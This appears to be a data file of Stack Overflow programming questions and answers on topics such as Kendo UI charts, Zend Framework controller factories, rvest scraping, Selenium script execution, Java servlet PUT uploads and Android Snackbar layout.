21541069	0	 <p>What you are trying to do here is to group a shared DataSource and have it only affect one widget. Furthermore, Kendo UI will return a grouped object when you group it. The Pie chart is not interested in these objects, but rather the count of the items that each of these group objects contains. We just need to get the data in the right format.</p> <p>So you have your original DataSource (which I have extracted since it's shared with another widget). When that DataSource changes, you want to populate a second one - one that you can group without affecting the grid.</p> <pre><code>var ds = new kendo.data.DataSource({ data: [ {Status: 10}, {Status: 20}, {Status: 200}, {Status: 200} ], change: function() { chartData.data(this.data()); } }); </code></pre> <p>The second DataSource (chartData) is grouped, and when it changes, it populates an array, constructing objects that the pie chart can actually understand.</p> <pre><code>var groupedData = []; // populate the grouped data array by grouping this datasource // and then populating an plain array var chartData = new kendo.data.DataSource({ group: { field: 'Status' }, change: function() { groupedData = []; $.each(this.view(), function() { groupedData.push({ field: this.value, value: this.items.length }); }); } }); </code></pre> <p>And then just bind your pie chart to that array</p> <pre><code>$("#status-chart").kendoChart({ dataSource: groupedData, series: [{ type: 'pie', field: 'value', categoryField: 'field' }] }); </code></pre> <p>Working example: <a href="http://jsbin.com/EKuxORA/1/edit">http://jsbin.com/EKuxORA/1/edit</a></p>
32373240	0	 <p>I tried to unsubscribe endpoint from topic by following python code (use boto):</p> <pre><code>def _unsubscribe_from_topic(topic_arn, endpoint): conn = connect_to_region('your_region_name','AWS_ACCESS_KEY', 'AWS_SECRET_KEY') r = conn.get_all_subscriptions_by_topic(topic_arn) for i in r.get('ListSubscriptionsByTopicResponse')\ .get('ListSubscriptionsByTopicResult')\ .get('Subscriptions'): if i.get('Endpoint') == endpoint: subscription = i.get('SubscriptionArn') conn.unsubscribe(subscription) return True return False </code></pre> <p>reference: <a href="http://boto.readthedocs.org/en/latest/ref/sns.html" rel="nofollow">http://boto.readthedocs.org/en/latest/ref/sns.html</a></p>
35038315	0	 <p>If you want to still break from <code>if</code>, you can use while(true)</p> <p>Ex.</p> <pre><code>$count = 0; if($a==$b){ while(true){ if($b==$c){ $count = $count + 3; break; // By this break you will be going out of while loop and execute remaining code of $count++. } $count = $count + 5; // break; } $count++; } </code></pre> <p>Also you can use switch and default.</p> <pre><code>$count = 0; if($a==$b){ switch(true){ default: if($b==$c){ $count = $count + 3; break; // By this break you will be going out of switch and execute remaining code of $count++. } $count = $count + 5; // } $count++; } </code></pre>
38715869	0	 <p><code>getServicelocator()</code> makes error. So it needs alternative way. And extends <code>AbstractTableGateway</code> or <code>ServiceLocatorAwareInterface</code> have errors.</p> <p>Factory implementation will help Controller to get objects.</p> <p>*User sample code will be similar to album.</p> <p>1) factory class ( RegisterControllerFactory.php) * copied function createUser in controller</p> <pre><code>namespace Users\Controller\Factory; use Users\Controller\RegisterController; use Zend\ServiceManager\FactoryInterface; use Zend\ServiceManager\ServiceLocatorInterface; use Zend\ServiceManager\Exception\ServiceNotCreatedException; class RegisterControllerFactory { public function __invoke($serviceLocator) { $sm = $serviceLocator; $dbAdapter = $sm-&gt;get('Zend\Db\Adapter\Adapter'); $resultSetPrototype = new \Zend\Db\ResultSet\ResultSet(); $resultSetPrototype-&gt;setArrayObjectPrototype(new \Users\Model\User); $tableGateway = new \Zend\Db\TableGateway\TableGateway('user' /* table name */, $dbAdapter, null, $resultSetPrototype); $user = new \Users\Model\User(); $userTable = new \Users\Model\UserTable($tableGateway); $controller = new RegisterController($userTable, $serviceLocator ); return $controller; } } </code></pre> <p>2) controller( RegisterController ) namespace Users\Controller;</p> <pre><code>use Zend\Mvc\Controller\AbstractActionController; use Zend\View\Model\ViewModel; use Users\Form\RegisterForm; use Users\Form\RegisterFilter; use Users\Model\User; use Users\Model\UserTable; use Zend\ServiceManager\ServiceLocatorInterface; class RegisterController extends AbstractActionController { protected $userTable; protected $serviceManager; public function __construct(UserTable $userTable, ServiceLocatorInterface $serviceManager) { $this-&gt;userTable = $userTable; $this-&gt;serviceManager = $serviceManager; } public function indexAction() { $form = new RegisterForm(); $viewModel = new ViewModel(array('form' =&gt; $form)); return $viewModel; } public function processAction() { if (!$this-&gt;request-&gt;isPost()) { return $this-&gt;redirect()-&gt;toRoute(NULL , array( 'controller' =&gt; 'register', 'action' =&gt; 'index' )); } $post = $this-&gt;request-&gt;getPost(); $form = new RegisterForm(); $inputFilter = new RegisterFilter(); $form-&gt;setInputFilter($inputFilter); $form-&gt;setData($post); if (!$form-&gt;isValid()) { $model = new ViewModel(array( 'error' =&gt; true, 'form' =&gt; $form, )); $model-&gt;setTemplate('users/register/index'); return $model; } // Create user $this-&gt;createUser($form-&gt;getData()); return $this-&gt;redirect()-&gt;toRoute(NULL , array( 'controller' =&gt; 'register', 'action' =&gt; 'confirm' )); } public function confirmAction() { $viewModel = new ViewModel(); return $viewModel; } protected function createUser(array $data) { /*able to delete or modify */ $sm = $this-&gt;serviceManager; $dbAdapter = $sm-&gt;get('Zend\Db\Adapter\Adapter'); $resultSetPrototype = new \Zend\Db\ResultSet\ResultSet(); $resultSetPrototype-&gt;setArrayObjectPrototype(new \Users\Model\User); $tableGateway = new \Zend\Db\TableGateway\TableGateway('user' /* table name */, $dbAdapter, null, $resultSetPrototype); $user = new User(); $user-&gt;exchangeArray($data); $userTable = new UserTable($tableGateway); $userTable-&gt;saveUser($user); return true; } } </code></pre> <p>3) module.config.php</p> <pre><code>return array( 'controllers' =&gt; array( 'invokables' =&gt; array( 'Users\Controller\Index' =&gt; 'Users\Controller\IndexController', 'Users\Controller\login' =&gt; 'Users\Controller\LoginController', //delete 'Users\Controller\Register' ), 'factories' =&gt; array( 'Users\Controller\Register' =&gt; 'Users\Controller\Factory\RegisterControllerFactory', ), ), </code></pre>
3120734	0	 <p>To the extent that there is a limit on the size of an SQL statement, then <strong>Yes</strong>: you cannot create an SQL statement that joins so many columns that the joining condition does not fit inside the limit on an SQL statement.</p> <p>Otherwise - and in practice - <strong>No</strong>. You will run out of the ability to comprehend your joins before the DBMS runs out of the capacity to handle them.</p>
8049706	0	 <p>yes, it's suppose to be:</p> <pre><code>public IDictionary&lt;string, string&gt; loopThroughNotificationCountQueries() { } </code></pre> <p>You can only itterate through objects of <code>IEnumerable&lt;T&gt;</code></p> <p>so if for some reason you cannot change <code>loopThroughNotificationCountQueries</code>, cast the object to an <code>IDictionary&lt;string, string&gt;</code> first.</p>
7045593	0	 <p>Try:</p> <pre><code>$(".blah").find($("input:text")).each(function(){ alert("Value inside "+$(this).attr("name")+" is #### " + this.value); }); </code></pre>
29682187	0	Ruby on Rails find records through last association records <p>User <code>has_many</code> operations. How I can find <code>Users</code> and what is the best way to find where: <code>User.operations.last.exp_date</code> > <code>CurrentDate</code>?</p>
25356528	0	 <p>You Should check the .Net Framework version in the Property of the Project.</p>
34674321	0	How can I use ProjectLocker instead of Git in laravel? <p>Is there any setting available in Laravel to use <a href="http://projectlocker.com/" rel="nofollow">ProjectLocker</a> or other repository ?</p>
491951	0	 <p>Host a Web service that logs the IP address of the requestor. Call the Web service in your application at startup. Location is tied to IP address and you could probably figure it out from there. :)</p>
2425626	0	 <p>One possiblitiy is to construct your colours from <a href="http://stackoverflow.com/questions/2942/hsl-in-net">HSL or HSV</a>, keeping the SL/SV part fixed you can divide the entire hue range into the number of pie slices you have, this should ensure they are reasonably visually seperated. different SL/SV values will make the chart vibrant colours or pastels or dark shades etc. </p>
31874331	0	Multiple java versions installed and java was started but returned exit code=13 <p>I am not able to start eclipse on Windows 7. It was working fine yesterday. Here is the screenshot of error when I start eclipse:</p> <p><a href="https://i.stack.imgur.com/kj8hw.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/kj8hw.jpg" alt="Eclipse error when I start eclipse"></a></p> <p>Java versions from <strong>CMD</strong></p> <p><a href="https://i.stack.imgur.com/873oO.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/873oO.jpg" alt="java and javac versions"></a></p> <p>Why it gives different versions for <code>java</code> and <code>javac</code>? </p> <p>My java home is set to Jdk 7 as below:</p> <p><code>JAVA_HOME = C:\Program Files\Java\jdk1.7.0_60</code></p> <p><strong>Note:</strong> I have jdk 8 installed on my machine but I have not set jdk 8 path.</p> <p>This question has been asked couple of times but I am not able to resolve it on my machine so please do not mark it as duplicate.</p>
2349930	0	 <p>You don't need to use <code>awk</code> if all you want to do is this. :) <strong>Also, writing to a file as you're reading from it, in the way that you did, will lead to data loss or corruption</strong>, try not to do it.</p> <pre><code>for file in *.php ; do # or, to do this to all php files recursively: # find . -name '*.php' | while read file ; do # make backup copy; do not overwrite backup if backup already exists test -f $file.orig || cp -p $file $file.orig # awk '{... print &gt; NEWFILE}' NEWFILE="$file" "$file.orig" sed -e "s:include('\./:include(':g" "$file.orig" &gt;"$file" done </code></pre> <hr> <p>Just to clarify the data loss aspect: when <code>awk</code> (or <code>sed</code>) start processing a file and you ask them to read the first line, they will actually perform a buffered read, that is, they will read from the filesystem (let's simplify and say "from disk") a block of data as large as their internal read buffer (e.g. 4-65KB) in order to get better performance (by reducing disk I/O.) Assume that the file you're working with is larger than the buffer size. Further reads will continue to come from the buffer until the buffer is exhausted, at which point a second block of data will be loaded from disk into the buffer etc.</p> <p>However, just after you read the first line, i.e. after the first block of data is read from disk into the buffer, your <code>awk</code> script opens <code>FILENAME</code>, the input file itself, for writing <strong>with truncation</strong>, i.e. <strong>the file's size on disk is reset to 0</strong>. At this point all that remains of your original file are the first few kilobytes of data in <code>awk</code>'s memory. <code>Awk</code> will merrily continue to read line after line from the in-memory buffer and produce output until the buffer is exhausted, at which point <code>awk</code> will probably stop and leave you with a 4-65k file.</p> <p>As a side note, if you are actually using awk to expand (e.g. <code>print "PREFIX: " $0</code>), not shrink (<code>gsub(/.../, "")</code>), data, then you'll almost certainly end up with a non-responsive <code>awk</code> and a perpetually growing file. :)</p>
23161405	0	 <p>You forgot the curly braces for the else-statement of your "recursive case" ...</p> <p>This does work:</p> <pre><code>private static void combos(String counter) { if (counter.length() == userinput) //base case System.out.println(counter); else { combos(counter + "A"); combos(counter + "B"); combos(counter + "C"); } } </code></pre>
7702596	0	 <p>You can try the default favicon location - i.e. place <code>favicon.ico</code> on the root of server (which is normally the ROOT application). In production you will almost always be running as ROOT. But I don't know if browsers will recognize that - if they don't, it means you can't do it. PDFs are read in the browser only if there's a plugin, so perhaps the normal favicon resolution doesn't happen.</p>
8774120	0	How to center the core plot graph on the view controller? <p>I am working on core-plot. I want to make the graph which drawn in the screen need to be centered. when the application get loaded its showing from the bottom the graph. I want to make the entire view visible from center has shown in below figure.</p> <p>@Thanks in advance </p> <p><img src="https://i.stack.imgur.com/xebwC.png" alt="enter image description here"></p>
38809904	0	Web scraping - selection of a table <p>I'm trying to extract <a href="http://finance.yahoo.com/quote/%5EFTSE/history?period1=946684800&amp;period2=1470441600&amp;interval=1mo&amp;filter=history&amp;frequency=1mo" rel="nofollow">the table of historical data</a> from Yahoo Finance website. </p> <p>First, by inspecting the source code I've found that it's actually a table, so I suspect that <code>html_table()</code> from <code>rvest</code> should be able to work with it, however, I can't find a way to reach it from R. I've tried providing the function with just the full page, however, it did not fetch the right table:</p> <pre><code>url &lt;- https://finance.yahoo.com/quote/^FTSE/history?period1=946684800&amp;period2=1470441600&amp;interval=1mo&amp;filter=history&amp;frequency=1mo read_html(url) %&gt;% html_table(fill = TRUE) # Returns only: # [[1]] # X1 X2 # 1 Show all results for Tip: Use comma to separate multiple quotes Search </code></pre> <p>Second, I've found an xpath selector for the particular table, but I am still unsuccessful in fetching the data:</p> <pre><code>xpath1 &lt;- '//*[@id="main-0-Quote-Proxy"]/section/div[2]/section/div/section/div[3]/table' read_html(url) %&gt;% html_node(xpath = xpath1) # Returns an empty nodeset: # {xml_nodeset (0)} </code></pre> <p>By removing the last term from the selector I get a non-empty nodeset, however, still no table:</p> <pre><code>xpath2 &lt;- '//*[@id="main-0-Quote-Proxy"]/section/div[2]/section/div/section/div[3]' read_html(url) %&gt;% html_node(xpath = xpath2) %&gt;% html_table(fill = TRUE) # Error: html_name(x) == "table" is not TRUE </code></pre> <p>What am I doing wrong? Any help would be appreciated!</p> <p>EDIT: I've found that <code>html_text()</code> with the last xpath returns</p> <pre><code>read_html(url) %&gt;% html_node(xpath = xpath2) %&gt;% html_text() [1] "Loading..." </code></pre> <p>which suggests that the table is not yet loaded when R did the read. This would explain why it failed to see the table. Question: any ways of bypassing that loading text?</p>
8417094	0	 <pre><code>from product in context.Products where product.ProductCategory_Id == productcatid group product by product.Attribute_1 into g select g; </code></pre>
3337441	0	MySQL - Searching in a multiple value field <p>In my database table I have the following fields:</p> <p>Table Supplier:</p> <ul> <li>id</li> <li>name</li> <li>vehicles</li> </ul> <p>A supplier can have multiple vehicles. The field 'vehicles' will store multiple values. At the moment I am delimiting the values on a 'pipe' symbol, although this can be changed to a comma if need be.</p> <p>On my front-end form I have a checkbox list - a user can select multiple vehicles. The back end script needs to do a search and bring back all suppliers that contain any of the specified vehicle id's.</p> <p>So in other words we are searching with multiple values in a multiple value field.</p> <p>The checkbox list name is vehicle_type[] and will end up in the $_POST array as (for example):</p> <pre><code>Array ( [0] =&gt; 1 [1] =&gt; 4 [2] =&gt; 6 ) </code></pre> <p>Is this possible to do? I could obviously do this using a join table but ideally I would like to do it this way. I am using PHP as my scripting language if that helps.</p>
13455410	0	 <p>In simple terms </p> <p><em><strong>executeAsyncScript</em></strong> -> This method doesn't block the execution of next line of code...till execution of this method is completed. This method will execute as well as next line of code will be executed...asynchronously. (without blocking each other)</p> <p><em><strong>executeScript</em></strong> -> This method will block the execution till it's execution is completed and then it moves to next line of code. In short your automation code will halt till the Javascript is executed via this method.</p> <p>Here is a small piece of example...which you can try...Though it's written in C# (please modify for Java Compatibility) </p> <pre><code> IWebDriver driver= new InternetExplorerDriver(); driver.Navigate().GoToUrl("http://www.google.com"); IJavaScriptExecutor js = (IJavaScriptExecutor) driver; Console.WriteLine("Entering the Async Call"); driver.Manage().Timeouts().SetScriptTimeout(new TimeSpan(0,0,4)); js.ExecuteAsyncScript("setInterval(function(){ alert('Hello');},3000); callback();"); Console.WriteLine("Exiting the Async Call"); Console.WriteLine("Entering the Sync Call"); Console.WriteLine(js.ExecuteScript("return document.title")); Console.WriteLine("Exiting the Sync Call"); Console.ReadLine(); driver.Close(); driver.Quit(); </code></pre> <p>By running the above example , you will find that Javascript code in <strong><em>executeAsyncScript</em></strong> will run after the complete automation code is executed. Hence the Alert window with "hello" text will appear at later stages of execution (when the <strong><em>executeScript</em></strong> is executed)</p> <p>But where as the code in <strong><em>executeScript</em></strong> will run by blocking the following line of code.</p> <pre><code>Console.WriteLine("Exiting the Sync Call"); </code></pre> <p>Hence you will see output "Google" between the lines</p> <blockquote> <p>Entering the Sync Call</p> <p>Google</p> <p>Exiting the Sync Call</p> </blockquote> <p>I hope this helps..All the best :) </p>
35804366	0	 <p>No. Generally, MRFs can represent arbitrary Gibbs distributions (see the <a href="https://en.wikipedia.org/wiki/Hammersley%E2%80%93Clifford_theorem" rel="nofollow">Hammersley-Clifford theorem</a>). This is broad class but doesn't encompass everything.</p> <p>The <em>pairwise</em> constraint is further limiting. So far as I can tell, not all MRFs with higher-order potentials can be represented by a pairwise MRF, so it stands to reason that a pairwise MRF cannot represent an arbitrary distribution.</p> <p>Finally, even if they <em>could</em> represent an arbitrary joint distribution, it would be a moot point for MRFs of any reasonable size - exact inference is going to be massively intractable, so you'd be constrained to whatever assumptions your approximation would make.</p>
10702766	0	 <p>This is, at it has been stated, not the optimal way to load resources, but if you absolutely must have a <code>java.io.File</code> reference, then try following:</p> <pre><code> URL url = null; try { URL baseUrl = YourClass.class.getResource("."); if (baseUrl != null) { url = new URL(baseUrl, "yourfilename.ext"); } else { url = YourClass.class.getResource("yourfilename.ext"); } } catch (MalformedURLException e) { // Do something appropriate } </code></pre> <p>This gives you a <code>java.net.URL</code> and it can be used in a <code>java.io.File</code> constructor.</p>
29743366	0	 <p>You should try following</p> <pre><code>var backbone_historySpy=spyOn(Backbone,'history.navigate'); describe('testing function action:',function(){ it('expect Backbone.history.navigate() to be called',function(){ module.action(); expect(backbone_historySpy).toHaveBeenCalled(); }); }); </code></pre> <p>It should work</p>
24892194	0	 <p>Using the <code>foo[]</code> naming hack in PHP causes <code>foo</code> to be an array in $_POST. Since you're just directly copying that array to a variable:</p> <pre><code>$foo = $_POST['foo']; </code></pre> <p>and then embedding that var in your email, you'll just get</p> <pre><code>Se entero: Array </code></pre> <p>in your email. You'll have to do something like:</p> <pre><code>$foo = implode(',', $_POST['foo']); </code></pre> <p>to convert the array into a plain string.</p>
11098489	0	 <p>Something that you could do is to send 2 parameters to the url : </p> <ul> <li>fileName = the filename</li> <li>fileContent = content of file encoded in base64</li> </ul> <p>In your asp file, just get the 2 parameters content, make a base 64 decode, and write it in a file named as the filename parameter ...</p>
15699836	1	makedirs error: can GAE Python create new directories (folders) or not? <p>I have seen a number of questions relating to writing files &amp; creating new directories using Python and GAE, but a number of them conclude (not only on SO) by saying that Python <strong>cannot</strong> write files or create new directories. Yet these commands exist and plenty of other people seem to be writing files and opening directories no problem.</p> <p>I'm trying to write to .txt files and create folders and getting the following errors:</p> <p>Case #1:</p> <pre><code>with open("aardvark.txt", "a") as myfile: myfile.write("i can't believe its not butter") </code></pre> <p>produces "IOError: [Errno 30] Read-only file system: 'aardvark.txt'". But i've checked and it's def-o not a read only file.</p> <p>Case #2:</p> <pre><code>folder = r'C:\project\folder\' + str(name) os.makedirs(folder) </code></pre> <p>produces "OSError: [Errno 38] Function not implemented: 'C:\project\folder'"</p> <p>What am i missing?</p>
26798175	0	Ball inside the pocket hole. WPF <p>My Code is giving me a NaN value when I tried to test its return value. the code is here C#:</p> <pre><code>var hx1 = Canvas.GetLeft(top); var hy1 = Canvas.GetTop(top); Rect h1 = new Rect(hx1, hy1, top.ActualWidth, top.ActualHeight); Console.WriteLine(h1); </code></pre> <p>XAML</p> <pre><code>&lt;Canvas Canvas.Left="134" Canvas.Top="98" Height="500" Width="1010"&gt; &lt;Ellipse Height="50" Name="top" Stroke="Black" Width="50" Margin="481,4,479,446" /&gt; &lt;Ellipse Height="50" Margin="30,21,930,429" Name="topLeft" Stroke="Black" Width="50" /&gt; &lt;Ellipse Height="50" Margin="30,430,930,20" Name="botLeft" Stroke="Black" Width="50" /&gt; &lt;Ellipse Height="50" Margin="481,444,479,6" Name="bot" Stroke="Black" Width="50" /&gt; &lt;Ellipse Height="50" Margin="930,430,30,20" Name="botRight" Stroke="Black" Width="50" /&gt; &lt;Ellipse Height="50" Margin="930,21,30,429" Name="topRight" Stroke="Black" Width="50" /&gt; &lt;Grid Canvas.Left="0" Canvas.Top="0" Height="500" Width="1010"&gt; &lt;!--&lt;Canvas Height="500" Width="1010" Name="PoolCanvas"&gt;--&gt; &lt;ContentControl x:Name="poolContainer"&gt; &lt;/ContentControl&gt; &lt;!--&lt;/Canvas&gt;--&gt; &lt;/Grid&gt; &lt;/Canvas&gt; </code></pre> <p>First of all, I am trying to make a pool game using WPF. Right now I am trying to make a 'pocket hole' for the ball to go in inside the pool. I was told about retrieving the holes x and y first or coordinates of the holes and later check the intersection and do the coding of balls putting it inside the pocket. However on my code, its only giving me this output: NaN,NaN,50,50 when I tried to print that rect.</p> <p>One more thing, If there is another type of method where I can fulfill these goals where if ball go inside the pocket hole. ball will disappear. If you think I still need to give more code. Feel free to comment. I am open for suggestions. Thank you in advance and sorry if I have grammar errors.</p>
33726965	0	 <p>The context of a process (psw, state of registers,pc...) is saved in the PCB of the process, in the kernel space of memory, not in the stack. Yes, there is one stack for each user process and more, one stack for each thread in the user space memory. In the kernel, the data structures are shared by the multiples codes of the function in the kernel. The stack is used for the call of procedure and for the local variables, not for saving the context.</p>
11675476	0	 <p>You can solve this problem easily by removing a couple of texts.</p> <p>Because there are a wrong annotation in "js/jquery.wt-rotator.js".</p> <p>From :</p> <pre><code>//Line: 1842 //set delay //this._delay = this._$items[i].data("delay"); </code></pre> <p>To : </p> <pre><code>//set delay this._delay = this._$items[i].data("delay"); </code></pre>
34606665	0	A Java servlet for uploading file via http PUT <p>We have to upload file via http PUT due to some limitation on the client-side(No POST method).</p> <p>There has a thread talking about this on stackoverflow as below</p> <p><a href="http://stackoverflow.com/questions/18728100/file-upload-via-http-put-request">File Upload via HTTP PUT Request</a></p> <p>But we ain't using Spring MVC, so that I don't know how to get this way works by using the AbstractHttpMessageConverter to convert the request body into file as the answer in above link.</p> <p>I have created a servlet for doPut as below code</p> <pre><code>public class FileUploader extends HttpServlet { private static Logger logger = LogManager.getLogger(FileUploader.class); /* (non-Javadoc) * @see javax.servlet.http.HttpServlet#doGet(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) */ @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { PrintWriter output = resp.getWriter(); output.println("GET is not support"); output.close(); } @Override public void doPut(HttpServletRequest req, HttpServletResponse res) { try { PrintWriter outHTML = res.getWriter(); outHTML.println("You have put a file!"); int i; InputStream input; input = req.getInputStream(); BufferedInputStream in = new BufferedInputStream(input); BufferedReader reader = new BufferedReader(new InputStreamReader(in, StandardCharsets.UTF_8)); File outputFile = new File("C:\\tmp.txt"); FileWriter out = new FileWriter(outputFile); while ((i = reader.read()) != -1) { System.out.print(i); out.write(i); } out.close(); in.close(); outHTML.println("You have put a file! But nothing else done here."); logger.debug("File write ok"); } catch (Exception e) {} } } </code></pre> <p>And use simple http PUT by HttpClient as below</p> <pre><code> HttpClientBuilder builder = HttpClientBuilder.create(); CloseableHttpClient client = builder.build(); HttpPut put = new HttpPut(""); put.setURI(URI.create("http://localhost:1010/fileUploader")); System.out.println(put.getRequestLine()); put.setEntity(new FileEntity(new File("C:\\Users\\Administrator\\Desktop\\123.7z"))); CloseableHttpResponse response = client.execute(put); System.out.println(response.getStatusLine()); System.out.println(EntityUtils.toString(response.getEntity())); </code></pre> <p>Yes, the file has been PUT and write to C:\ as tmp.txt, but still didn't know hot to retrieve the file and get the name of it that client has uploaded.</p> <p>Any help is appreciated.</p>
33824501	0	 <p>Test cases are starts with the method name -(void)testLogin, those methods are mentioned in diamond , we can run that test individully or overall test cases can be run by choosing the target as test. This can be achieved by long press on the play button, which will provide you with 3 option, in that choose test. This will perform all the test cases and provide you the success or failure test cases</p>
36078935	0	how to extends a module in typescript <p>I'm still new to typescript, so any direction would be appreciated. Thanks!</p> <p>file A:</p> <pre><code> module SoundManager { export class SoundManager { } export function init($s: string):void { } } </code></pre> <p>file B:</p> <pre><code>module SoundM { class SoundM extends SoundManager { } export function init($s:string): void { super.init($s); } } </code></pre> <p>this will return the error:</p> <blockquote> <p>Error TS2507 Type 'typeof SoundManager' is not a constructor function type. </p> </blockquote>
37144616	0	 <p>You need to define in your AppContext for the unit tests, your testing bean:</p> <pre><code>IMonitoringWidgetAggregator aggregator = (IMonitoringWidgetAggregator)AppContext.getBean( ISO + AGGREGATOR_HEALTH_PREFIX ); </code></pre> <p>You do have access to the aggregator, which mean that for example if you use a CDI/IoC compatible framework like Spring (or just plain old J2EE or even something like KumulzuEE), you can use the @ContextConfiguration and @Configuration annotations to specify where do you want your @Beans to be injected from. Therefore, you can choose to inject with a mock IMonitoringWidgetAggregator or a real instance of an implementation if you want the the whole integration to be tested.</p>
5950564	0	Problem with IEnumerable in Reflection <blockquote> <p><strong>Possible Duplicates:</strong><br> <a href="http://stackoverflow.com/questions/5949688/how-to-iterate-the-list-in-reflection">How to iterate the List in Reflection</a><br> <a href="http://stackoverflow.com/questions/5950222/problem-with-ienumerable-in-reflection">Problem with IEnumerable in Reflection</a> </p> </blockquote> <p>Hi,</p> <p>I am facing a problem while Iterating the List in reflection.</p> <pre><code>var item = property.GetValue(obj,null); // We dont know the type of obj as it is in Reflection. foreach(var value in (item as IEnumerable)) { //Do stuff } </code></pre> <p>If i do this i will get the error like </p> <p>Using the generic type 'System.Collections.Generic.IEnumerable' requires 1 type arguments</p> <p>Please help me.</p>
5595919	0	 <p>I'm not 100% certain about objective C, but in other languages, it's two boolean operators next to each other. It's typically used to ensure that falsy or trusy statements are converted to proper booleans (e.g. true or false). Since objective C is derived from C, there's a good chance that this is also what it's used for.</p>
3744405	0	 <p>Well, for starters, you should not be writing anything to a folder in the Program Files directory. This is bad and will fail on Vista, Windows 7, or Windows Server 2008 and above.</p> <p>Secondly, your code isn't actually specifying what you think it is. The service's "current directory" is not it's program files directory. It's probably something like the users home directory that it runs under, or Windows\system32. Again, the app shouldn't have write persmissions there either. Instead, you should be loggint to somewhere like the Program Data subdirectires.</p>
31272891	0	 <p>Based on the error message you print, I'm guessing your problem is that you want to give the user a chance to try again to enter a number, but after one failure, it continuously fails no matter what you enter. If that's the case, replace your <code>break</code> with <code>cin.clear()</code>. That will tell the stream that you've recovered from the error and are ready to receive more input.</p> <p>If you're going to do that, though, your program now has no exit condition, so you'll want to add a <code>break</code> (or <code>return 0</code>) just after the for-loop.</p>
35521991	0	 <p>I finally found the solution using the <code>ScriptRunner</code> class you can find on this link: <strong><a href="https://github.com/BenoitDuffez/ScriptRunner" rel="nofollow">https://github.com/BenoitDuffez/ScriptRunner</a></strong>.</p> <p>You can use it as follows: </p> <pre><code>Connection connection = DriverManager.getConnection("jdbc:mysql://localhost:3306/2sga_local" + unicode, "root", ""); ScriptRunner runner = new ScriptRunner(connection, false, false); File fileDir = new File("2sga_local.sql"); BufferedReader in = new BufferedReader(new InputStreamReader(new FileInputStream(fileDir), "UTF8")); runner.runScript(in); </code></pre>
30750580	0	 <p>I just came across this question looking to check if a specific Rails route was already present:</p> <pre><code>route = "mount Blorgh::Engine" File.open('config/routes.rb').each_line.any? {|line| line[/#{route}/] } </code></pre>
7664927	0	 <p>I use tooltipsy, this is an EXCELLENT tooltip program. You can set it to do pretty much anything you want. If you want custom CSS, okay, if you want to set your own show and hide events, okay, you can change what the tooltip aligns to, the delay until it shows, you can do whatever you want. Tootipsy is the best one I ever used. (I had to make a little modification to it to get it to use HTML in the tooltips though, but it's a very simple change)</p>
33077123	0	Floating Action Button diasappears under SECOND Snackbar <p>I'm using a CoordinatorLayout to keep my Floating Action Button above the Snackbar, which works great. ...But only for the first Snackbar. When a second one is created, while the first one is still there, the FAB slides under it.</p> <p>I'm using this in a RecyclerView in which I can remove items. When an item is removed, a "Undo" Snackbar appears. So when you delete some items one after another, the visible Snackbar is replaced by a new one (which causes the FAB behaviour)</p> <p>Do you know a solution to keep the FAB above new Snackbars?</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;android.support.design.widget.CoordinatorLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:fab="http://schemas.android.com/tools" android:id="@+id/coordinator_layout" android:layout_width="match_parent" android:layout_height="match_parent" android:backgroundTint="@color/background_grey" android:orientation="vertical"&gt; &lt;LinearLayout android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical"&gt; &lt;include android:id="@+id/toolbar" layout="@layout/toolbar" /&gt; &lt;android.support.v7.widget.RecyclerView android:id="@+id/recyclerView" android:layout_width="match_parent" android:layout_height="match_parent" android:scrollbars="vertical" /&gt; &lt;/LinearLayout&gt; &lt;android.support.design.widget.FloatingActionButton android:id="@+id/fab" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_gravity="bottom|end" android:layout_marginBottom="16dp" android:layout_marginEnd="16dp" android:layout_marginRight="16dp" android:elevation="6dp" android:src="@drawable/ic_add_white_36dp" app:borderWidth="0dp" app:fabSize="normal" app:pressedTranslationZ="10dp" app:rippleColor="@color/abc_primary_text_material_dark" /&gt; &lt;/android.support.design.widget.CoordinatorLayout&gt; </code></pre> <p>This is how it looks after I delete on item</p> <p><a href="https://i.stack.imgur.com/dSctg.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/dSctg.png" alt="enter image description here"></a></p> <p>...and then after I delete another item</p> <p><a href="https://i.stack.imgur.com/tF18W.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/tF18W.png" alt="enter image description here"></a></p>
29006359	0	NHibernate hql tuple result <pre><code>hql = "select f, b from Foo f, Bar b" var resultList = session.CreateQuery(hql).List&lt;object[]&gt;(); </code></pre> <p>result list item is an array where [0] is of type Foo and [1] id of Type Bar</p> <p>Is there a way to use Tuple&lt;Foo,Bar&gt; (or other generic class ) as generic parameter insted of object[] so one can skip casting? </p>
9559534	0	Is there a hash function for binary data which produces closer hashes when the data is more similar? <p>I'm looking for something like a hash function but for which it's output is closer the closer two different inputs are?</p> <p>Something like:</p> <pre><code>f(1010101) = 0 #original hash f(1010111) = 1 #very close to the original hash as they differ by one bit f(0101010) = 9999 #not very close to the original hash they all bits are different </code></pre> <p>(example outputs for demonstration purposes only)</p> <p>All of the input data will be of the same length.</p> <p>I want to make comparisons between a file a lots of other files and be able to determine which other file has the fewest differences from it. </p>
18117059	0	 <p>You are doing integer division! Since <code>totaloccupied</code> is smaller than <code>totaldrive</code>, the division of both gives the answer <code>0</code>. You should convert to double first:</p> <pre><code>double percentageUsed = 100.0 * totalOccupied / totalDrive; </code></pre> <p>Note that adding the decimal point to the <code>100</code> ensures it is treated as a <code>double</code>.</p>
